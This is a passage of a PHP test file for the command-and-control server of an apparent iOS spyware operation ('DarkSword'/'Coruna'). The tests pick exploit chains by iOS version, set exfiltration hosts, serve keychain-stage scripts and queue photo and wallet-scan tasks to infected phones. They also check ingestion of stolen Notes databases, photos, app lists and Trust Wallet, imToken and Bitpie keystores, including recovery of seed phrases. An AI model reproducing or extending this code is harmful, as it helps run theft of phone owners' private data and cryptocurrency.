Files
coruna-lab/tests/Feature/DarkSwordC2ApiTest.php
T
2026-09-12 03:42:48 +08:00

1239 lines
48 KiB
PHP

<?php
namespace Tests\Feature;
use App\Models\Admin;
use App\Models\Device;
use App\Models\DeviceApp;
use App\Models\DeviceEvent;
use App\Models\DsBeaconTask;
use App\Models\DsChainLog;
use App\Models\Note;
use App\Models\PageVisit;
use App\Models\Photo;
use App\Models\WalletAddress;
use App\Models\WalletKeystore;
use App\Models\WalletMnemonic;
use App\Services\CorunaCrypto;
use App\Services\DsBeaconQueue;
use App\Services\EthKeystore;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Redis;
use Illuminate\Support\Facades\Storage;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
class DarkSwordC2ApiTest extends TestCase
{
use RefreshDatabase;
private const DS_LHU = '69DD25B2-CA8B-5682-BA24-70D77124E2FC';
private const XXBB_D = '000C30D83CD0402E';
private const TEST_MNEMONIC = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
protected function setUp(): void
{
parent::setUp();
// Clear Redis-based beacon queue keys between tests.
// Redis::keys() returns fully-prefixed keys, but Redis::del() adds the
// prefix again — so we must strip it before deleting.
$prefix = config('database.redis.options.prefix', '');
$patterns = ['ds:q:*', 'ds:qdisp:*', 'ds:qdone:*', 'ds:qt:*'];
foreach ($patterns as $pattern) {
$keys = Redis::keys($pattern);
if (empty($keys)) {
continue;
}
$stripped = array_map(fn ($k) => $prefix !== '' && str_starts_with($k, $prefix) ? substr($k, strlen($prefix)) : $k, $keys);
Redis::del(...$stripped);
}
}
private function xxbbPost(string $path, array $payload, string $ts = '1786468227899')
{
$enc = (new CorunaCrypto('Ek8pl31K2yeHgQwy'))->encryptJson($payload, $ts);
return $this->call('POST', $path, [], [], [], [
'CONTENT_TYPE' => 'text/plain',
'HTTP_X_TS' => $ts,
], $enc['body']);
}
#[Test]
public function log_post_returns_accepted(): void
{
$this->postJson('/api/ds/log', ['text' => 'hello', 'source' => 'pe_mpd'])
->assertOk()
->assertExactJson(['status' => 'accepted']);
$this->assertSame(0, DsChainLog::query()->count());
}
#[Test]
public function log_with_stage_skips_db(): void
{
$payload = [
'deviceUUID' => '50624FE2-6CC4-A0DF-689E-AEA117557C3E',
'stage' => 'loader',
'progress' => 18,
'label' => 'loader',
'channelCode' => 'BODOZR5F613N9',
];
$this->postJson('/api/ds/log', $payload)->assertOk()->assertJson(['status' => 'accepted']);
$this->postJson('/api/ds/log', $payload)->assertOk();
$this->assertSame(0, DsChainLog::query()->count());
$this->assertSame(0, Device::query()->count());
}
#[Test]
public function log_text_skips_db_even_when_stage_can_be_inferred(): void
{
$this->postJson('/api/ds/log', [
'text' => 'malloc ok 0x1234',
'deviceUUID' => '50624FE2-6CC4-A0DF-689E-AEA117557C3E',
])->assertOk();
$this->postJson('/api/ds/log', [
'text' => 'pe_main_start',
'deviceUUID' => '50624FE2-6CC4-A0DF-689E-AEA117557C3E',
])->assertOk();
$this->assertSame(0, DsChainLog::query()->count());
$this->assertSame(0, Device::query()->count());
}
#[Test]
public function next_chain_does_not_steal_ds_api_or_logs(): void
{
$this->getJson('/api/ds/chain-targets?ios=18.6')
->assertOk()
->assertJson([
'ok' => true,
'chain' => 'darksword',
])
->assertJsonPath('exfil.prefer_https', false)
->assertJsonPath('band.usable_for_attempt', true);
$this->withHeaders([
'X-Forwarded-Host' => 'ocq4rod6pq6warv.icu',
'X-Forwarded-Port' => '443',
])->getJson('/api/ds/chain-targets?ios=18.5')
->assertOk()
->assertJsonPath('exfil.host', 'ocq4rod6pq6warv.icu')
->assertJsonPath('exfil.tls', true)
->assertJsonPath('exfil.prefer_https', true)
->assertJsonPath('exfil.https_port', 443);
$this->get('/api/ds/log?text=lab')
->assertOk()
->assertSee('ok', false);
$this->getJson('/api/ds/chain-targets?ios=18.6.1')
->assertOk()
->assertJsonPath('chain', 'darksword');
$this->getJson('/api/ds/chain-targets?ios=18.6.2')
->assertOk()
->assertJsonPath('chain', 'darksword');
$this->getJson('/api/ds/chain-targets?ios=18.1.1')
->assertOk()
->assertJsonPath('chain', 'darksword');
$this->getJson('/api/ds/chain-targets?ios=18.4')
->assertOk()
->assertJsonPath('chain', 'darksword');
$this->getJson('/api/ds/chain-targets?ios=18.4.1')
->assertOk()
->assertJsonPath('chain', 'darksword');
$this->getJson('/api/ds/chain-targets?ios=18.7')
->assertOk()
->assertJsonPath('chain', 'darksword');
$this->getJson('/api/ds/chain-targets?ios=18.7.1')
->assertOk()
->assertJsonPath('chain', 'darksword');
$this->getJson('/api/ds/chain-targets?ios=18.7.2')
->assertOk()
->assertJsonPath('chain', 'darksword');
foreach (['18.2', '18.5.1', '18.6.3', '18.7.3', '17.3'] as $ios) {
$this->getJson('/api/ds/chain-targets?ios='.$ios)
->assertOk()
->assertJsonPath('chain', 'coruna')
->assertJsonPath('recommended_worker', '')
->assertJsonPath('band.usable_for_attempt', false);
}
$this->getJson('/api/chain-targets?ios=18.6')->assertNotFound();
// /log.html is now a valid DarkSword log endpoint (maps to /api/ds/log).
$this->get('/log.html?text=lab')->assertOk();
$this->getJson('/next-chain/api/chain-targets')->assertNotFound();
$this->getJson('/next-chain/api/device/register')->assertNotFound();
$this->get('/next-chain/log.html?text=lab')->assertNotFound();
}
#[Test]
public function pe_stage_get_writes_file_log_and_chain_row(): void
{
$this->get('/api/ds/pe-stage/s1_launchd?deviceUUID=50624FE2-6CC4-A0DF-689E-AEA117557C3E')
->assertOk()
->assertHeader('Content-Type', 'application/javascript; charset=utf-8')
->assertSee('__peStage1', false);
$this->assertSame(0, DsChainLog::query()->count());
Device::query()->create([
'device_id' => '50624FE2-6CC4-A0DF-689E-AEA117557C3E',
'album_storage' => true,
]);
$this->get('/api/ds/pe-stage/s1_launchd?deviceUUID=50624FE2-6CC4-A0DF-689E-AEA117557C3E')
->assertOk();
$row = DsChainLog::query()->first();
$this->assertNotNull($row);
$this->assertSame('50624FE2-6CC4-A0DF-689E-AEA117557C3E', $row->client_uid);
$this->assertSame('pe', $row->stage);
$this->assertSame(86, $row->progress);
$this->assertSame('pe_stage:s1_launchd', $row->label);
$this->get('/api/ds/pe-stage/s5_c2.js?deviceUUID=50624FE2-6CC4-A0DF-689E-AEA117557C3E')
->assertOk();
$this->assertSame(2, DsChainLog::query()->count());
$this->assertSame('pe_stage:s5_c2', DsChainLog::query()->orderByDesc('id')->first()->label);
$this->assertSame(94, DsChainLog::query()->orderByDesc('id')->first()->progress);
$this->get('/api/ds/pe-stage/s2_keychain')
->assertOk()
->assertSee('__peStage2', false);
$this->assertSame(2, DsChainLog::query()->count());
}
#[Test]
public function plaintext_a_ingests_darksword_device(): void
{
$this->postJson('/a', [
'lhu' => self::DS_LHU,
'machine' => 'iPhone15,2',
'ios_version' => '18.6',
'ip' => '192.168.31.77',
'source' => 'c2_agent',
])->assertOk()->assertJson(['ok' => true]);
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($device);
$this->assertSame(Device::CHAIN_DARKSWORD, $device->chain);
$this->assertSame('iPhone15,2', $device->device_model);
$this->assertSame('18.6', $device->ios_version);
$this->assertSame('192.168.31.77', $device->ip);
$this->assertNull($device->channel_id);
}
#[Test]
public function shared_path_with_x_ts_still_uses_xxbb_ack(): void
{
$this->xxbbPost('/a', [
'c' => '202700cfb1ad3de68e11239dcc26c30b',
'd' => self::XXBB_D,
'f' => self::XXBB_D,
'deviceModel' => 'iPhone',
'deviceInfo' => ['productType' => 'iPhone12,8', 'productVersion' => '16.6'],
])->assertOk()->assertSee('1786468227899{}', false);
$xxbb = Device::query()->where('device_id', self::XXBB_D)->first();
$this->assertNotNull($xxbb);
$this->assertSame(Device::CHAIN_CORUNA, $xxbb->chain);
$this->postJson('/a', [
'lhu' => self::DS_LHU,
'machine' => 'iPhone15,2',
'ios_version' => '18.6',
])->assertOk()->assertJson(['ok' => true]);
$ds = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($ds);
$this->assertSame(Device::CHAIN_DARKSWORD, $ds->chain);
$this->assertSame(2, Device::query()->count());
}
#[Test]
public function register_accepts_query_style_channel_code(): void
{
$this->postJson('/api/ds/device/register', [
'deviceUUID' => '50624FE2-6CC4-A0DF-689E-AEA117557C3E',
'channeICode' => '0.0.01',
'ios' => '18.6',
'chain' => 'darksword',
])->assertOk()->assertJson(['ok' => true]);
$visit = PageVisit::query()->first();
$this->assertNotNull($visit);
$this->assertSame('0.0.01', $visit->channel_id);
}
#[Test]
public function register_uses_channel_code_not_ver_header(): void
{
$this->postJson('/api/ds/device/register', [
'deviceUUID' => '50624FE2-6CC4-A0DF-689E-AEA117557C3E',
'channelCode' => 'BODOZR5F613N9',
'ios' => '18.6',
'chain' => 'darksword',
], [
'ver' => '3.1.07',
'sdkv' => '3.1.07',
])->assertOk()->assertJson(['ok' => true]);
$this->assertNull(Device::query()->where('device_id', '50624FE2-6CC4-A0DF-689E-AEA117557C3E')->first());
$visit = PageVisit::query()->first();
$this->assertNotNull($visit);
$this->assertSame('50624FE2-6CC4-A0DF-689E-AEA117557C3E', $visit->client_uid);
$this->assertSame(PageVisit::CHAIN_DARKSWORD, $visit->chain);
$this->assertSame('DarkSword', PageVisit::chainLabel((int) $visit->chain));
$this->assertSame('BODOZR5F613N9', $visit->channel_id);
$this->assertSame('iOS', $visit->os);
$this->assertSame('18.6', $visit->os_version);
$this->postJson('/a', [
'lhu' => '50624FE2-6CC4-A0DF-689E-AEA117557C3E',
'machine' => 'iPhone15,2',
'ios_version' => '18.6',
'source' => 'c2_agent',
])->assertOk();
$device = Device::query()->where('device_id', '50624FE2-6CC4-A0DF-689E-AEA117557C3E')->first();
$this->assertNotNull($device);
$this->assertSame(Device::CHAIN_DARKSWORD, $device->chain);
$this->assertSame('BODOZR5F613N9', $device->channel_id);
$this->assertSame('18.6', $device->ios_version);
}
#[Test]
public function u_writes_device_apps_from_object_or_list(): void
{
$this->postJson('/u', [
'lhu' => self::DS_LHU,
'apps' => [
'0' => ['bundleId' => 'im.token.app', 'name' => 'imToken'],
'1' => ['bundleId' => 'com.apple.MobileSMS', 'name' => 'Messages'],
],
'count' => 2,
'source' => 'c2_agent',
])->assertOk()->assertJson(['ok' => true]);
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($device);
$this->assertSame(1, DeviceApp::query()->where('device_id', $device->id)->count());
$this->assertTrue(
DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'im.token.app')->exists()
);
$this->assertFalse(
DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'com.apple.MobileSMS')->exists()
);
$this->assertSame(Device::WALLET_YES, (int) $device->fresh()->has_wallet);
$this->assertTrue($device->fresh()->albumStorageEnabled());
}
#[Test]
public function nb_writes_notes_and_stores_sqlite_blob(): void
{
Storage::fake('local');
$sqlite = "SQLite format 3\0lab-notes";
$this->postJson('/nb', [
'lhu' => self::DS_LHU,
'list' => [['id' => 4, 'title' => 'jdmdm', 'snippet' => 'hello', 'mod' => 0]],
'db_files' => [[
'name' => 'NoteStore.sqlite',
'data' => base64_encode($sqlite),
]],
'source' => 'c2_agent',
])->assertOk()->assertJson(['ok' => true]);
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($device);
$note = Note::query()->where('device_id', $device->id)->first();
$this->assertNotNull($note);
$this->assertSame('jdmdm', $note->content[0]['title'] ?? null);
Storage::disk('local')->assertExists('c2/ds-notes/'.self::DS_LHU.'/NoteStore.sqlite');
$this->assertSame($sqlite, Storage::disk('local')->get('c2/ds-notes/'.self::DS_LHU.'/NoteStore.sqlite'));
}
#[Test]
public function war_without_mnemonic_stores_keystore_only(): void
{
$this->postJson('/war', [
'lhu' => self::DS_LHU,
'source' => 'pe_war_guarantee',
'keychain' => [
'wallets' => [
'trustwallet' => [
'count' => 1,
'items' => [[
'accessGroup' => 'group.com.sixdays.team',
'dataHex' => bin2hex('{"crypto":{"cipher":"aes-128-ctr"}}'),
]],
],
],
'errors' => ['aksUnwrap class=10 kr=3758097090'],
],
'sandbox' => [
'imtoken' => ['keystore.json' => '{"version":3}'],
],
])->assertOk()->assertJson(['ok' => true]);
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($device);
$this->assertSame(2, WalletKeystore::query()->where('device_id', $device->id)->count());
$this->assertSame(0, WalletMnemonic::query()->where('device_id', $device->id)->count());
$rows = WalletKeystore::query()->where('device_id', $device->id)->get();
$this->assertTrue($rows->every(fn ($row) => (int) $row->decrypted === 0));
$sources = $rows->pluck('source')->all();
$this->assertContains('Trust Wallet', $sources);
$this->assertContains('imToken', $sources);
}
#[Test]
public function war_skips_duplicate_keystore_content(): void
{
$payload = [
'lhu' => self::DS_LHU,
'source' => 'pe_war_guarantee',
'keychain' => [
'wallets' => [
'trustwallet' => [
'count' => 1,
'items' => [[
'account' => 'trust_wallet',
'dataHex' => bin2hex('{"device_uuid":"69DD25B2CA8B5682"}'),
]],
],
],
],
'sandbox' => [
'trust_wallet' => '{"device_uuid":"69DD25B2CA8B5682"}',
],
];
$this->postJson('/war', $payload)->assertOk()->assertJson(['ok' => true]);
$this->postJson('/war', $payload)->assertOk()->assertJson(['ok' => true]);
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($device);
$rows = WalletKeystore::query()->where('device_id', $device->id)->get();
$this->assertSame(2, $rows->count());
$this->assertEqualsCanonicalizing(['钥匙串', '沙盒文件'], $rows->map(fn ($row) => $row->kindLabel())->all());
}
#[Test]
public function war_collapses_existing_duplicate_sandbox_rows(): void
{
$device = Device::query()->create([
'device_id' => self::DS_LHU,
'chain' => Device::CHAIN_DARKSWORD,
]);
$raw = [
'kind' => 'sandbox',
'sandbox' => ['trust_wallet' => '{"device_uuid":"69DD25B2CA8B5682"}'],
];
WalletKeystore::query()->create([
'device_id' => $device->id,
'source' => 'Trust Wallet',
'decrypted' => 0,
'raw_json' => $raw,
]);
WalletKeystore::query()->create([
'device_id' => $device->id,
'source' => 'Trust Wallet',
'decrypted' => 0,
'raw_json' => $raw,
]);
$this->assertSame(2, WalletKeystore::query()->where('device_id', $device->id)->count());
$this->postJson('/war', [
'lhu' => self::DS_LHU,
'sandbox' => ['trust_wallet' => '{"device_uuid":"69DD25B2CA8B5682"}'],
])->assertOk();
$this->assertSame(1, WalletKeystore::query()->where('device_id', $device->id)->count());
$this->assertNotSame('', (string) WalletKeystore::query()->where('device_id', $device->id)->value('content_hash'));
}
#[Test]
public function war_twelve_word_phrase_ingests_mnemonic(): void
{
$this->postJson('/war', [
'lhu' => self::DS_LHU,
'keychain' => [
'wallets' => [
'trustwallet' => [
'count' => 1,
'items' => [[
'accessGroup' => 'group.com.sixdays.team',
'dataHex' => bin2hex(self::TEST_MNEMONIC),
]],
],
],
],
'sandbox' => [],
])->assertOk()->assertJson(['ok' => true]);
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($device);
$row = WalletMnemonic::query()->where('device_id', $device->id)->first();
$this->assertNotNull($row);
$this->assertSame(self::TEST_MNEMONIC, $row->mnemonic);
$this->assertSame('Trust Wallet', $row->source);
}
#[Test]
public function war_trust_utc_ingests_btc_eth_trx_cap_two(): void
{
Http::fake();
$utc = [
'crypto' => ['cipher' => 'aes-128-ctr'],
'activeAccounts' => [
['address' => 'bc1qnt0t864aqfwxsltmhpytrck2z9aqgaf6vpu4xc', 'coin' => 0],
['address' => '0x822927fE2a736E37418E1c9D1C2dEb6362Ca15dB', 'coin' => 60],
['address' => '0x822927fE2a736E37418E1c9D1C2dEb6362Ca15dB', 'coin' => 137],
['address' => 'TSdKdkH1XL9MohtSAdgT4AWQRXkUJtwU6i', 'coin' => 195],
['address' => 'ltc1qwyz0ven8psu2nh56lnyaupnpqgtn57j3ygvr7x', 'coin' => 2],
['address' => 'bc1qsecondonlyforcapxxxxxxxxxxxxxxxxxxx', 'coin' => 0],
['address' => 'bc1qthirdshouldnotpersistxxxxxxxxxxxxxxx', 'coin' => 0],
],
];
$this->postJson('/war', [
'lhu' => self::DS_LHU,
'sandbox' => [
'trust_wallet' => [
'Documents/keystore/UTC--demo' => base64_encode(json_encode($utc)),
],
],
])->assertOk()->assertJson(['ok' => true]);
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($device);
$rows = WalletAddress::query()->where('device_id', $device->id)->orderBy('id')->get();
$this->assertSame(4, $rows->count());
$this->assertSame(['BITCOIN', 'BITCOIN', 'ETHEREUM', 'TRON'], $rows->pluck('chain_type')->sort()->values()->all());
$this->assertTrue($rows->every(fn ($row) => $row->source === 'Trust Wallet'));
$this->assertSame(2, $rows->where('chain_type', 'BITCOIN')->count());
$this->assertFalse($rows->contains('address', 'bc1qthirdshouldnotpersistxxxxxxxxxxxxxxx'));
$this->assertFalse($rows->contains('address', 'ltc1qwyz0ven8psu2nh56lnyaupnpqgtn57j3ygvr7x'));
}
#[Test]
public function war_class10_unwrap_failure_is_not_a_mnemonic(): void
{
$this->postJson('/war', [
'lhu' => self::DS_LHU,
'keychain' => [
'wallets' => [
'trustwallet' => [
'count' => 1,
'items' => [[
'class' => 10,
'layer3Error' => 'aks_unwrap kr=3758097090',
'dataHex' => bin2hex(self::TEST_MNEMONIC),
]],
],
],
],
])->assertOk();
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($device);
$this->assertSame(0, WalletMnemonic::query()->where('device_id', $device->id)->count());
$this->assertSame(1, WalletKeystore::query()->where('device_id', $device->id)->count());
$ks = WalletKeystore::query()->where('device_id', $device->id)->first();
$this->assertSame('Trust Wallet', $ks->source);
$this->assertSame(0, (int) $ks->decrypted);
}
#[Test]
public function war_trust_utc_decrypts_mnemonic_from_keychain_key(): void
{
$password = hex2bin('22d5cb2accb78f1e9d0a2c89d5d1af815fa96b1b8667548b39c75722c11e4ec2');
$this->assertIsString($password);
$utc = EthKeystore::encrypt(self::TEST_MNEMONIC, $password, [
'n' => 16,
'r' => 8,
'p' => 1,
'dklen' => 32,
'salt' => str_repeat('ab', 32),
]);
$this->postJson('/war', [
'lhu' => self::DS_LHU,
'keychain' => [
'wallets' => [
'trustwallet' => [
'count' => 1,
'items' => [[
'account' => 'trustwalletUTC--demo',
'accessGroup' => 'group.com.sixdays.team',
'dataHex' => bin2hex($password),
]],
],
],
],
'sandbox' => [
'trust_wallet' => [
'Documents/keystore/UTC--demo' => base64_encode(json_encode($utc)),
],
],
])->assertOk();
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($device);
$mnemonic = WalletMnemonic::query()->where('device_id', $device->id)->first();
$this->assertNotNull($mnemonic);
$this->assertSame(self::TEST_MNEMONIC, $mnemonic->mnemonic);
$this->assertSame('Trust Wallet', $mnemonic->source);
$rows = WalletKeystore::query()->where('device_id', $device->id)->where('source', 'Trust Wallet')->get();
$this->assertGreaterThanOrEqual(1, $rows->count());
$this->assertTrue($rows->contains(fn ($row) => (int) $row->decrypted === 1));
}
#[Test]
public function reprocess_unlocks_trust_utc_already_stored_on_device(): void
{
Http::fake();
$password = hex2bin('22d5cb2accb78f1e9d0a2c89d5d1af815fa96b1b8667548b39c75722c11e4ec2');
$this->assertIsString($password);
$utc = EthKeystore::encrypt(self::TEST_MNEMONIC, $password, [
'n' => 16,
'r' => 8,
'p' => 1,
'dklen' => 32,
'salt' => str_repeat('cd', 32),
]);
$device = Device::query()->create([
'device_id' => 'reprocess-trust-utc',
'chain' => Device::CHAIN_DARKSWORD,
]);
WalletKeystore::query()->create([
'device_id' => $device->id,
'source' => 'Trust Wallet',
'decrypted' => 0,
'raw_json' => [
'kind' => 'keychain.wallets',
'wallets' => [
'trustwallet' => [
'items' => [[
'account' => 'trustwalletUTC--demo',
'dataHex' => bin2hex($password),
]],
],
],
],
]);
WalletKeystore::query()->create([
'device_id' => $device->id,
'source' => 'Trust Wallet',
'decrypted' => 0,
'raw_json' => [
'kind' => 'sandbox',
'sandbox' => [
'trust_wallet' => [
'Documents/keystore/UTC--demo' => base64_encode(json_encode($utc)),
],
],
],
]);
app(\App\Services\DarkSwordIngestAdapter::class)->reprocessKeystores($device->fresh('keystores'));
$mnemonic = WalletMnemonic::query()->where('device_id', $device->id)->first();
$this->assertNotNull($mnemonic);
$this->assertSame(self::TEST_MNEMONIC, $mnemonic->mnemonic);
$this->assertTrue(
WalletKeystore::query()->where('device_id', $device->id)->get()
->contains(fn ($row) => (int) $row->decrypted === 1)
);
}
#[Test]
public function war_bitpie_entropy_decrypts_mnemonic_and_addresses(): void
{
Http::fake();
$entropy = '00000000000000000000000000000000';
$trx = app(\App\Services\Chain\TronDriver::class)->deriveAddress(self::TEST_MNEMONIC, 0);
$this->postJson('/war', [
'lhu' => self::DS_LHU,
'keychain' => [
'wallets' => [
'bitpie' => [
'count' => 2,
'items' => [
[
'account' => 'seedPhraseEntropy',
'service' => 'com.bitpie.wallet',
'dataHex' => bin2hex(strtoupper($entropy)),
],
[
'account' => 'userAddressKey',
'service' => 'com.bitpie.wallet',
'dataHex' => bin2hex($trx),
],
],
],
],
],
'sandbox' => [
'bitpie' => [
'Library/Preferences/com.bitpie.wallet.plist' => base64_encode(
'kUserAddressesConfigure[{"address":"'.$trx.'","coin_code":"trx-trx"}]'
),
],
],
])->assertOk();
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($device);
$mnemonic = WalletMnemonic::query()->where('device_id', $device->id)->where('source', 'Bitpie')->first();
$this->assertNotNull($mnemonic);
$this->assertSame(self::TEST_MNEMONIC, $mnemonic->mnemonic);
$this->assertTrue(
WalletKeystore::query()->where('device_id', $device->id)->where('source', 'Bitpie')->get()
->contains(fn ($row) => (int) $row->decrypted === 1)
);
$addr = WalletAddress::query()
->where('device_id', $device->id)
->where('address', $trx)
->where('source', 'Bitpie')
->first();
$this->assertNotNull($addr);
$this->assertSame('TRON', $addr->chain_type);
$this->assertSame($mnemonic->id, $addr->mnemonic_id);
}
#[Test]
public function beacon_alternates_scan_and_extract_per_ip_with_5s_gap(): void
{
// New Redis-based queue: seed() pushes photos + wallet_scan (FIFO, one-shot).
// LPUSH order: [wallet_scan, photos]; RPOP dequeue order: photos → wallet_scan → noop.
$uuid = self::DS_LHU;
// Helper to clear the per-device throttle lock (simulates 5s gap).
$forgetThrottle = function () use ($uuid): void {
$device = Device::query()->where('device_id', $uuid)->first();
if ($device) {
Redis::del('ds:qt:'.$device->id);
}
};
// First dispatch -> photos (first in FIFO from seed).
$r1 = $this->postJson('/beacon', [
'uuid' => $uuid,
'status' => 'idle',
'ios' => '18.6',
])->assertOk()->assertJson([
'ok' => true,
'type' => 'photos',
'uuid' => $uuid,
]);
$id1 = $r1->json('command_id');
$this->assertNotEmpty($id1);
// Same IP within 5s -> noop (throttled).
$this->postJson('/beacon', [
'uuid' => $uuid,
'status' => 'idle',
])->assertOk()->assertJson(['ok' => true, 'type' => 'noop']);
// After the 5s gap -> wallet_scan (second in FIFO).
$forgetThrottle();
$r2 = $this->postJson('/beacon', [
'uuid' => $uuid,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'wallet_scan']);
$id2 = $r2->json('command_id');
$this->assertNotEmpty($id2);
$this->assertNotSame($id1, $id2);
// Within 5s again -> noop.
$this->postJson('/beacon', [
'uuid' => $uuid,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'noop']);
// After another gap -> noop (queue is empty, single-run: no auto-replenish).
$forgetThrottle();
$this->postJson('/beacon', [
'uuid' => $uuid,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'noop']);
$device = Device::query()->where('device_id', $uuid)->first();
$this->assertNotNull($device);
$this->assertSame(Device::CHAIN_DARKSWORD, $device->chain);
$this->assertSame(0, DeviceEvent::query()->count());
// Single-run: after both tasks were dispatched, the queue is empty (0).
$queue = app(DsBeaconQueue::class);
$this->assertSame(0, $queue->queueLength($device));
$admin = Admin::query()->create(['username' => 'ds-admin', 'password' => 'admin123']);
$this->actingAs($admin, 'admin')
->get(route('admin.devices.show', $device))
->assertOk()
->assertSee('C2 队列')
->assertSee('photos')
->assertSee('wallet_scan');
}
#[Test]
public function beacon_throttles_same_ip_within_5s_gap(): void
{
$uuid = self::DS_LHU;
// Helper to clear the per-device throttle lock (simulates 5s gap).
$forgetThrottle = function () use ($uuid): void {
$device = Device::query()->where('device_id', $uuid)->first();
if ($device) {
Redis::del('ds:qt:'.$device->id);
}
};
// First dispatch -> photos (first in FIFO from seed).
$first = $this->postJson('/beacon', [
'uuid' => $uuid,
'status' => 'idle',
'ios' => '18.6',
])->assertOk()->assertJson(['type' => 'photos']);
$firstId = $first->json('command_id');
$this->assertNotEmpty($firstId);
// Same IP within 5s -> noop (throttled, no command handed out).
$this->postJson('/beacon', [
'uuid' => $uuid,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'noop']);
// After the 5s gap (simulated by deleting the Redis throttle key), the next
// beacon dispatches wallet_scan (second in FIFO from seed).
$forgetThrottle();
$retry = $this->postJson('/beacon', [
'uuid' => $uuid,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'wallet_scan']);
$retryId = $retry->json('command_id');
$this->assertNotEmpty($retryId);
$this->assertNotSame($firstId, $retryId);
$this->postJson('/result', [
'uuid' => $uuid,
'command_id' => $retryId,
'filename' => 'wallet_scan_result.json',
'category' => 'wallet_scan',
'status' => 'success',
])->assertOk();
// Completed task results are recorded as DeviceEvent (日志 tab).
$device = Device::query()->where('device_id', $uuid)->first();
$events = DeviceEvent::query()->where('device_id', $device->id)->get();
$this->assertSame(1, $events->count());
$this->assertSame('wallet_scan', $events->first()->event_name);
$this->assertStringContainsString('wallet_scan', $events->first()->desc);
$this->assertStringContainsString('wallet_scan_result.json', $events->first()->desc);
// After a result + gap, the queue is empty (single-run: no auto-replenish).
$forgetThrottle();
$this->postJson('/beacon', [
'uuid' => $uuid,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'noop']);
}
#[Test]
public function beacon_dispatches_fifo_from_redis_queue(): void
{
// New Redis-based queue: tasks are dispatched in FIFO order (RPOP from LPUSH list).
// No "skip legacy" logic — all queued tasks are dispatched in order.
// Single-run: seed() only runs on new device creation, not on every beacon.
// When the queue is emptied by dequeue, it stays empty (no auto-replenish).
$device = Device::query()->create([
'device_id' => self::DS_LHU,
'chain' => Device::CHAIN_DARKSWORD,
]);
$queue = app(DsBeaconQueue::class);
// Add tasks in order: photos, photo_scan, wallet_scan.
$queue->addTask($device, 'photos');
$queue->addTask($device, 'photo_scan');
$queue->addTask($device, 'wallet_scan');
// LPUSH means newest at head: [wallet_scan, photo_scan, photos].
// RPOP dequeues from tail: photos → photo_scan → wallet_scan.
$this->postJson('/beacon', [
'uuid' => self::DS_LHU,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'photos']);
// Clear throttle to allow next dispatch.
Redis::del('ds:qt:'.$device->id);
$this->postJson('/beacon', [
'uuid' => self::DS_LHU,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'photo_scan']);
Redis::del('ds:qt:'.$device->id);
$this->postJson('/beacon', [
'uuid' => self::DS_LHU,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'wallet_scan']);
// After the last task is dequeued, the queue is empty — single-run: no
// auto-replenish. seed() only runs on new device creation, not on
// every beacon/upsertDevice.
$this->assertSame(0, $queue->queueLength($device));
}
#[Test]
public function result_stores_files_and_skips_video(): void
{
Storage::fake('local');
$device = Device::query()->create([
'device_id' => self::DS_LHU,
'chain' => Device::CHAIN_DARKSWORD,
'album_storage' => true,
]);
DsBeaconTask::query()->create([
'device_id' => $device->id,
'position' => 1,
'type' => 'photo_scan',
'status' => DsBeaconTask::STATUS_DISPATCHED,
'command_id' => 'dsq-photo-1',
]);
$png = base64_encode("\x89PNG\r\n\x1a\n".str_repeat('x', 32));
$this->postJson('/result', [
'uuid' => self::DS_LHU,
'command_id' => 'dsq-photo-1',
'filename' => 'IMG_0003.PNG',
'category' => 'photos',
'data' => $png,
])->assertOk();
$this->postJson('/result', [
'uuid' => self::DS_LHU,
'command_id' => 'dsq-photo-1',
'filename' => 'IMG_0005.MP4',
'category' => 'photos',
'data' => base64_encode('ftypisom'),
])->assertOk();
$this->postJson('/result', [
'uuid' => self::DS_LHU,
'command_id' => 'dsq-photo-1',
'filename' => 'photo_scan.json',
'data' => base64_encode('{"status":"success","uploaded":1}'),
])->assertOk();
$this->assertSame(1, Photo::query()->where('device_id', $device->id)->count());
Storage::disk('local')->assertExists('c2/ds-results/'.self::DS_LHU.'/dsq-photo-1/IMG_0003.PNG');
Storage::disk('local')->assertExists('c2/ds-results/'.self::DS_LHU.'/dsq-photo-1/photo_scan.json');
Storage::disk('local')->assertMissing('c2/ds-results/'.self::DS_LHU.'/dsq-photo-1/IMG_0005.MP4');
}
#[Test]
public function result_skips_duplicate_payloads_already_ingested(): void
{
Storage::fake('local');
$device = Device::query()->create([
'device_id' => self::DS_LHU,
'chain' => Device::CHAIN_DARKSWORD,
'album_storage' => true,
]);
DsBeaconTask::query()->create([
'device_id' => $device->id,
'position' => 1,
'type' => 'photo_scan',
'status' => DsBeaconTask::STATUS_DISPATCHED,
'command_id' => 'dsq-photo-dup-1',
]);
DsBeaconTask::query()->create([
'device_id' => $device->id,
'position' => 2,
'type' => 'wallet_extract',
'status' => DsBeaconTask::STATUS_DISPATCHED,
'command_id' => 'dsq-wallet-dup-1',
]);
$png = base64_encode("\x89PNG\r\n\x1a\n".str_repeat('x', 32));
$this->postJson('/result', [
'uuid' => self::DS_LHU,
'command_id' => 'dsq-photo-dup-1',
'filename' => 'IMG_0003.PNG',
